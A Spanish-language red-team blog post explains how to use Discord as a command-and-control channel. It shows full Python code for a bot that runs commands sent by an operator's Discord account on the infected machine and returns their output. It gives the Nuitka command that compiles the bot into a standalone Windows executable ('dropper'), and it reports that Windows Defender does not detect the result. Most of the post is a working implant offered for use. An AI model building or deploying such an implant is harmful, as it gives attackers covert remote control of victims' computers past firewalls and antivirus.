Usando Discord como Comando y Control (C2) con Python y Nuitka
Hola compañeros del equipo rojo, estaba pensando en una forma de ofuscar el tráfico C2 y se me ocurrió una idea. ¿Por qué no encadenar el tráfico en algunos canales verificados, como Discord? Pero, ¿y si el objetivo no tiene instalado Discord? Me ocuparé de eso más adelante. Yo mismo tuve experiencia previa con el desarrollo de Discord Bots, mi servidor de Discord (para compartir el conocimiento y la experiencia de Pentesting / Red Teaming) tiene un bot de Discord codificado manualmente, basado en Python.
Siéntete bienvenido al servidor:https://discord.gg/dWCe5ZMvtQ
Además, si prefiere ver un video en lugar de leer, puede encontrarlo aquí:https://youtu.be/LnXOtHhCx08

Teoría
No importa el motor de programación, todos los bots de Discord funcionan prácticamente igual. Están usando webhooks para realizar acciones que les especificas con permisos. Hay muchas bibliotecas que admiten diferentes lenguajes de programación. Los bots de Discord se pueden escribir en casi todos los idiomas, siguiendo la documentación de la API (https://discord.com/developers/docs/intro).
Los bots de Discord en python están usando una biblioteca llamada discord.py (https://discordpy.readthedocs.io/en/stable/)
Es sencillo de configurar y usar. El código del bot en sí es fácil de entender y escribir. Ahora volvamos al punto principal, ¿cómo armar eso?
El problema viene de ahí, cuando ejecuta el bot, su PC pasa por alto los firewalls ya que está hablando directamente con los servidores de Discord. Lo que significa que el tráfico está encriptado y está en un canal verificado. Esto significa que si codificamos el bot para que lea y escriba comandos en un canal específico, podemos obtener una ejecución de código encriptado. El código en python es súper simple, pero hay un problema importante. ¿Cómo obligaríamos al objetivo a ejecutar un código python?
La mejor solución que encontré hasta ahora es utilizar Nuitka (https://nuitka.net/) para compilar el código python en un PE (ejecutable portátil) independiente. De esta manera tenemos un cuentagotas C2 estándar. (Vamos a repasar cuál es el gran problema de Nuitka)
Ahora vamos a desglosar las partes del código. Necesitamos realizar las siguientes tareas:
- Crear bot de discordia
- Unir el bot al servidor personalizado
- Codifique el bot para que trate los mensajes de los usuarios como comandos y devuelva la salida.
- Compilar a PE
¿Cómo crear un Bot de Discord?
Navegar ahttps://discord.com/login?redirect_to=%2Fdevelopers%2Fapplications
Haga clic en Nueva aplicación:

Dale un nombre:

Luego haga clic en el submenú Bot:

Añadir robot:

Asegúrese de habilitar todos los intentos (especialmente el mensaje uno)

Queda una cosa más por hacer, ve a tu bot y reinicia el token, guarda el nuevo en un lugar seguro. Esto será necesario para el paso 3.

¿Cómo agregar el bot a mi servidor?
Ahora que el bot está listo, para agregarlo, haga clic en el generador de URL en el menú Oauth2.

Marque Bot -> Administrador -> Copie y pegue la URL en el navegador. Luego, simplemente elija el servidor en el que se agregará el bot.

¿Cómo codificar el bot?
¡Ahora viene la parte divertida!
Analicemos el siguiente fragmento de código:
from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time
DISCORD_TOKEN = "Token from step 1"
def Exec(cmd):
output = subprocess.check_output(cmd, shell=False)
return output
intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)
@bot.command()
async def IssueCmd(ctx, arg):
await ctx.send(arg)
@bot.event
async def on_message(message):
if(message.author.id == 1046317520178663534):
await message.channel.send(Exec(message.content).decode("utf-8"))
if __name__ == "__main__":
bot.run(DISCORD_TOKEN)
Las primeras líneas son las importaciones de la biblioteca y el token estático del paso 1.
from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time
DISCORD_TOKEN = "Token from step 1"
def Exec(cmd):
output = subprocess.check_output(cmd, shell=False)
return output
intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)
@bot.command()
async def IssueCmd(ctx, arg):
await ctx.send(arg)
@bot.event
async def on_message(message):
#obviously replace the userid with your own
if(message.author.id == 1046317520178663534#obv):
await message.channel.send(Exec(message.content).decode("utf-8"))
if __name__ == "__main__":
bot.run(DISCORD_TOKEN)

Ahora la parte difícil.
¿Cómo compilar el código en PE?
A tal efecto, me detuve en Nuitka. Es bastante simple de usar. Solo tenemos que ser pacientes. Requiere el compilador MinGW-64, pero descargará automáticamente una versión adecuada la primera vez que lo ejecute.
Para instalar nuitka, simplemente puede ir con
pip install nuitka
python -m nuitka --mingw64 .\main.py --standalone --onefile
¿Qué pasa con Windows Defender?
Todo está claro para él.

¿Qué pasa con los proveedores de Antiscanme?
El tamaño del archivo era extremadamente grande para mí para subirlo. Si tienen un laboratorio dedicado con un grupo de proveedores de AV, siéntanse libres de probarlo contra ellos.
¡Estaré esperando tus resultados en mi twitter!
¿Cuál es el problema?
Dado que generó un único PE independiente, Nuitka necesitaba combinar todas las bibliotecas y compilarlas todas juntas. Es por eso que el proceso fue lento y el archivo tenía más de 40 MB de tamaño. Este es obviamente un problema que abordaremos en el futuro. Otro problema es la molesta ventana emergente durante la ejecución. Además, se pueden realizar muchas cosas, como la inyección de procesos, pero dudo que podamos lograrlo con ese gran tamaño de archivo. ¡Eso lo dejaremos para el próximo!
Terminando
Sea siempre tan creativo como pueda. Cuantos más conocimientos tenga, más oportunidades tendrá para implementar la creatividad. Aunque la versión actual está lejos de ser utilizable, creo que brinda una base sólida sobre qué construir. El C2 funcionaba muy bien, su único problema era el tamaño del archivo. Después de todo, nada es perfecto.
Gracias por leer y espero que hayas aprendido algo nuevo.
Puedes apoyar mi trabajo comprándome un café:https://www.buymeacoffee.com/lsecqt